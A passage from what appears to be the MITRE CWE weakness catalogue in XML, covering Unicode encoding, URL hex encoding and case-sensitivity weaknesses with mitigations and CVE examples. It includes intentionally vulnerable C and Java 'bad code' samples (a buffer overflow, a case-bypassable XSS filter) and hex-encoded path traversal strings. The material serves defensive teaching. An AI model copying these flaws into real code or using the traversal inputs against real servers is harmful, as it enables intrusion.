						Encoding</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="176" Name="Improper Handling of Unicode Encoding" Weakness_Abstraction="Variant" Status="Draft">
			      <Description>
				        <Description_Summary>The software does not properly handle when an input contains
					Unicode encoding.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>172</Relationship_Target_ID>
					          <!--Encoding Error-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">734</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>747</Relationship_Target_ID>
					          <!--CERT C Secure Coding Section 49 - Miscellaneous (MSC)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">868</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>883</Relationship_Target_ID>
					          <!--CERT C++ Secure Coding Section 49 - Miscellaneous (MSC)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>896</Relationship_Target_ID>
					          <!--SFP Cluster: Tainted Input-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Technical_Impact>Unexpected state</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation Mitigation_ID="MIT-44">
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Strategy>Input Validation</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Avoid making decisions based on names of resources (e.g. files) if
							those resources can have alternate names.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-5">
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Strategy>Input Validation</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Assume all input is malicious. Use an "accept known good" input
							validation strategy, i.e., use a whitelist of acceptable inputs that
							strictly conform to specifications. Reject any input that does not
							strictly conform to specifications, or transform it into something that
							does.</Text>
						            <Text>When performing input validation, consider all potentially relevant
							properties, including length, type of input, the full range of
							acceptable values, missing or extra inputs, syntax, consistency across
							related fields, and conformance to business rules. As an example of
							business rule logic, "boat" may be syntactically valid because it only
							contains alphanumeric characters, but it is not valid if the input is
							only expected to contain colors such as "red" or "blue."</Text>
						            <Text>Do not rely exclusively on looking for malicious or malformed inputs
							(i.e., do not rely on a blacklist). A blacklist is likely to miss at
							least one undesirable input, especially if the code's environment
							changes. This can give attackers enough room to bypass the intended
							validation. However, blacklists can be useful for detecting potential
							attacks or determining which inputs are so malformed that they should be
							rejected outright.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-20">
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Strategy>Input Validation</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Inputs should be decoded and canonicalized to the application's
							current internal representation before being validated (CWE-180). Make
							sure that the application does not decode the same input twice
							(CWE-174). Such errors could be used to bypass whitelist validation
							schemes by introducing dangerous inputs after they have been
							checked.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Demonstrative_Examples>
				        <Demonstrative_Example>
					          <Intro_Text>Windows provides the MultiByteToWideChar(), WideCharToMultiByte(),
						UnicodeToBytes(), and BytesToUnicode() functions to convert between
						arbitrary multibyte (usually ANSI) character strings and Unicode (wide
						character) strings. The size arguments to these functions are specified in
						different units, (one in bytes, the other in characters) making their use
						prone to error.</Intro_Text>
					          <Example_Body>
						            <Text>In a multibyte character string, each character occupies a varying
							number of bytes, and therefore the size of such strings is most easily
							specified as a total number of bytes. In Unicode, however, characters
							are always a fixed size, and string lengths are typically given by the
							number of characters they contain. Mistakenly specifying the wrong units
							in a size argument can lead to a buffer overflow.</Text>
						            <Text>The following function takes a username specified as a multibyte
							string and a pointer to a structure for user information and populates
							the structure with information about the specified user. Since Windows
							authentication uses Unicode for usernames, the username argument is
							first converted from a multibyte string to a Unicode string.</Text>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>C</Code_Example_Language>
							              <Code>void getUserInfo(char *username, struct _USER_INFO_2 info){</Code>
							              <Block>
								                <Code>WCHAR unicodeUser[UNLEN+1];</Code>
								                <Code>MultiByteToWideChar(CP_ACP, 0, username, -1, unicodeUser,
									sizeof(unicodeUser));</Code>
								                <Code>NetUserGetInfo(NULL, unicodeUser, 2, (LPBYTE
									*)&amp;info);</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Text>This function incorrectly passes the size of unicodeUser in bytes
							instead of characters. The call to MultiByteToWideChar() can therefore
							write up to (UNLEN+1)*sizeof(WCHAR) wide characters, or
							(UNLEN+1)*sizeof(WCHAR)*sizeof(WCHAR) bytes, to the unicodeUser array,
							which has only (UNLEN+1)*sizeof(WCHAR) bytes allocated.</Text>
						            <Text>If the username string contains more than UNLEN characters, the call
							to MultiByteToWideChar() will overflow the buffer unicodeUser.</Text>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2000-0884</Observed_Example_Reference>
					          <Observed_Example_Description>Server allows remote attackers to read documents
						outside of the web root, and possibly execute arbitrary commands, via
						malformed URLs that contain Unicode encoded
						characters.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2001-0709</Observed_Example_Reference>
					          <Observed_Example_Description>Server allows a remote attacker to obtain source
						code of ASP files via a URL encoded with
						Unicode.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2001-0669</Observed_Example_Reference>
					          <Observed_Example_Description>Overlaps interaction
						error.</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <References>
				        <Reference Reference_ID="REF-7">
					          <Reference_Author>Mark Dowd</Reference_Author>
					          <Reference_Author>John McDonald</Reference_Author>
					          <Reference_Author>Justin Schuh</Reference_Author>
					          <Reference_Title>The Art of Software Security Assessment</Reference_Title>
					          <Reference_Section>Chapter 8, "Character Sets and Unicode", Page
						446.</Reference_Section>
					          <Reference_Edition>1st Edition</Reference_Edition>
					          <Reference_Publisher>Addison Wesley</Reference_Publisher>
					          <Reference_PubDate>2006</Reference_PubDate>
				        </Reference>
			      </References>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>Unicode Encoding</Mapped_Node_Name>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C Secure Coding">
					          <Mapped_Node_Name>Character Encoding - UTF8 Related Issues</Mapped_Node_Name>
					          <Mapped_Node_ID>MSC10-C</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C++ Secure Coding">
					          <Mapped_Node_Name>Character Encoding - UTF8 Related Issues</Mapped_Node_Name>
					          <Mapped_Node_ID>MSC10-CPP</Mapped_Node_ID>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			
			      <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>71</CAPEC_ID>
            </Related_Attack_Pattern>
         </Related_Attack_Patterns>
         <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations,
						Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-11-24</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-03-10</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-05-27</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-07-27</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-12-13</Modification_Date>
					          <Modification_Comment>updated Name</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-03-29</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-27</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-09-13</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Observed_Examples, References,
						Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-04-11">Unicode
						Encoding</Previous_Entry_Name>
					          <Previous_Entry_Name Name_Change_Date="2010-12-13">Failure to Handle Unicode
						Encoding</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="177" Name="Improper Handling of URL Encoding (Hex Encoding)" Weakness_Abstraction="Variant" Status="Draft">
			      <Description>
				        <Description_Summary>The software does not properly handle when all or part of an
					input has been URL encoded.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>172</Relationship_Target_ID>
					          <!--Encoding Error-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>896</Relationship_Target_ID>
					          <!--SFP Cluster: Tainted Input-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Technical_Impact>Unexpected state</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation Mitigation_ID="MIT-44">
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Strategy>Input Validation</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Avoid making decisions based on names of resources (e.g. files) if
							those resources can have alternate names.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-5">
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Strategy>Input Validation</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Assume all input is malicious. Use an "accept known good" input
							validation strategy, i.e., use a whitelist of acceptable inputs that
							strictly conform to specifications. Reject any input that does not
							strictly conform to specifications, or transform it into something that
							does.</Text>
						            <Text>When performing input validation, consider all potentially relevant
							properties, including length, type of input, the full range of
							acceptable values, missing or extra inputs, syntax, consistency across
							related fields, and conformance to business rules. As an example of
							business rule logic, "boat" may be syntactically valid because it only
							contains alphanumeric characters, but it is not valid if the input is
							only expected to contain colors such as "red" or "blue."</Text>
						            <Text>Do not rely exclusively on looking for malicious or malformed inputs
							(i.e., do not rely on a blacklist). A blacklist is likely to miss at
							least one undesirable input, especially if the code's environment
							changes. This can give attackers enough room to bypass the intended
							validation. However, blacklists can be useful for detecting potential
							attacks or determining which inputs are so malformed that they should be
							rejected outright.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-20">
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Strategy>Input Validation</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Inputs should be decoded and canonicalized to the application's
							current internal representation before being validated (CWE-180). Make
							sure that the application does not decode the same input twice
							(CWE-174). Such errors could be used to bypass whitelist validation
							schemes by introducing dangerous inputs after they have been
							checked.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2000-0900</Observed_Example_Reference>
					          <Observed_Example_Description>Hex-encoded path traversal variants - "%2e%2e",
						"%2e%2e%2f", "%5c%2e%2e"</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-2256</Observed_Example_Reference>
					          <Observed_Example_Description>Hex-encoded path traversal variants - "%2e%2e",
						"%2e%2e%2f", "%5c%2e%2e"</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2004-2121</Observed_Example_Reference>
					          <Observed_Example_Description>Hex-encoded path traversal variants - "%2e%2e",
						"%2e%2e%2f", "%5c%2e%2e"</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2004-0280</Observed_Example_Reference>
					          <Observed_Example_Description>"%20" (encoded
						space)</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2003-0424</Observed_Example_Reference>
					          <Observed_Example_Description>"%20" (encoded
						space)</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2001-0693</Observed_Example_Reference>
					          <Observed_Example_Description>"%20" (encoded
						space)</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2001-0778</Observed_Example_Reference>
					          <Observed_Example_Description>"%20" (encoded
						space)</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-1831</Observed_Example_Reference>
					          <Observed_Example_Description>Crash via hex-encoded space
						"%20".</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2000-0671</Observed_Example_Reference>
					          <Observed_Example_Description>"%00" (encoded
						null)</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2004-0189</Observed_Example_Reference>
					          <Observed_Example_Description>"%00" (encoded
						null)</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-1291</Observed_Example_Reference>
					          <Observed_Example_Description>"%00" (encoded
						null)</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-1031</Observed_Example_Reference>
					          <Observed_Example_Description>"%00" (encoded
						null)</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2001-1140</Observed_Example_Reference>
					          <Observed_Example_Description>"%00" (encoded
						null)</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2004-0760</Observed_Example_Reference>
					          <Observed_Example_Description>"%00" (encoded
						null)</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-1025</Observed_Example_Reference>
					          <Observed_Example_Description>"%00" (encoded
						null)</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-1213</Observed_Example_Reference>
					          <Observed_Example_Description>"%2f" (encoded
						slash)</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2004-0072</Observed_Example_Reference>
					          <Observed_Example_Description>"%5c" (encoded backslash) and "%2e" (encoded dot)
						sequences</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2004-0847</Observed_Example_Reference>
					          <Observed_Example_Description>"%5c" (encoded
						backslash)</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-1575</Observed_Example_Reference>
					          <Observed_Example_Description>"%0a" (overlaps
						CRLF)</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>URL Encoding (Hex Encoding)</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			
			      <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>468</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>64</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>72</CAPEC_ID>
            </Related_Attack_Pattern>
         </Related_Attack_Patterns>
         <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations,
						Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="External">
					          <Modifier_Organization>Veracode</Modifier_Organization>
					          <Modification_Date>2008-08-15</Modification_Date>
					          <Modification_Comment>Suggested OWASP Top Ten 2004
						mapping</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships, Observed_Example,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-07-27</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-12-13</Modification_Date>
					          <Modification_Comment>updated Name</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-03-29</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-27</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Related_Attack_Patterns,
						Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-04-11">URL Encoding (Hex
						Encoding)</Previous_Entry_Name>
					          <Previous_Entry_Name Name_Change_Date="2010-12-13">Failure to Handle URL
						Encoding (Hex Encoding)</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="178" Name="Improper Handling of Case Sensitivity" Weakness_Abstraction="Base" Status="Incomplete">
			      <Description>
				        <Description_Summary>The software does not properly account for differences in case
					sensitivity when accessing or determining the properties of a resource, leading
					to inconsistent results.</Description_Summary>
				        <Extended_Description>
					          <Text>Improperly handled case sensitive data can lead to several possible
						consequences, including:</Text>
					          <Block Block_Nature="List">
						            <Text>case-insensitive passwords reducing the size of the key space, making
							brute force attacks easier</Text>
						            <Text>bypassing filters or access controls using alternate names</Text>
						            <Text>multiple interpretation errors using alternate names.</Text>
					          </Block>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>706</Relationship_Target_ID>
					          <!--Use of Incorrectly-Resolved Name or Reference-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>171</Relationship_Target_ID>
					          <!--Cleansing, Canonicalization, and Comparison Errors-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>CanPrecede</Relationship_Nature>
					          <Relationship_Target_ID>433</Relationship_Target_ID>
					          <!--Unparsed Raw Web Content Delivery-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>CanPrecede</Relationship_Nature>
					          <Relationship_Target_ID>289</Relationship_Target_ID>
					          <!--Authentication Bypass by Alternate Name-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">631</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>632</Relationship_Target_ID>
					          <!--Weaknesses that Affect Files or Directories-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>896</Relationship_Target_ID>
					          <!--SFP Cluster: Tainted Input-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Access_Control</Consequence_Scope>
					          <Consequence_Technical_Impact>Bypass protection
						mechanism</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation Mitigation_ID="MIT-44">
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Strategy>Input Validation</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Avoid making decisions based on names of resources (e.g. files) if
							those resources can have alternate names.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-5">
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Strategy>Input Validation</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Assume all input is malicious. Use an "accept known good" input
							validation strategy, i.e., use a whitelist of acceptable inputs that
							strictly conform to specifications. Reject any input that does not
							strictly conform to specifications, or transform it into something that
							does.</Text>
						            <Text>When performing input validation, consider all potentially relevant
							properties, including length, type of input, the full range of
							acceptable values, missing or extra inputs, syntax, consistency across
							related fields, and conformance to business rules. As an example of
							business rule logic, "boat" may be syntactically valid because it only
							contains alphanumeric characters, but it is not valid if the input is
							only expected to contain colors such as "red" or "blue."</Text>
						            <Text>Do not rely exclusively on looking for malicious or malformed inputs
							(i.e., do not rely on a blacklist). A blacklist is likely to miss at
							least one undesirable input, especially if the code's environment
							changes. This can give attackers enough room to bypass the intended
							validation. However, blacklists can be useful for detecting potential
							attacks or determining which inputs are so malformed that they should be
							rejected outright.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-20">
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Strategy>Input Validation</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Inputs should be decoded and canonicalized to the application's
							current internal representation before being validated (CWE-180). Make
							sure that the application does not decode the same input twice
							(CWE-174). Such errors could be used to bypass whitelist validation
							schemes by introducing dangerous inputs after they have been
							checked.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Demonstrative_Examples>
				        <Demonstrative_Example>
					          <Intro_Text>In the following example, an XSS neutralization method replaces
						script tags in user supplied input with a safe equivalent:</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>public String preventXSS(String input, String mask) {</Code>
							              <Block>
								                <Code>return input.replaceAll("script", mask);</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Text> The code only works when the "script" tag is in all lower-case,
							forming an incomplete blacklist (CWE-184). Equivalent tags such as
							"SCRIPT" or "ScRiPt" will not be neutralized by this method, allowing an
							XSS attack. </Text>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2000-0499</Observed_Example_Reference>
					          <Observed_Example_Description>Application server allows attackers to bypass
						execution of a jsp page and read the source code using an upper case JSP
						extension in the request.</Observed_Example_Description>
				        </Observed_Example>
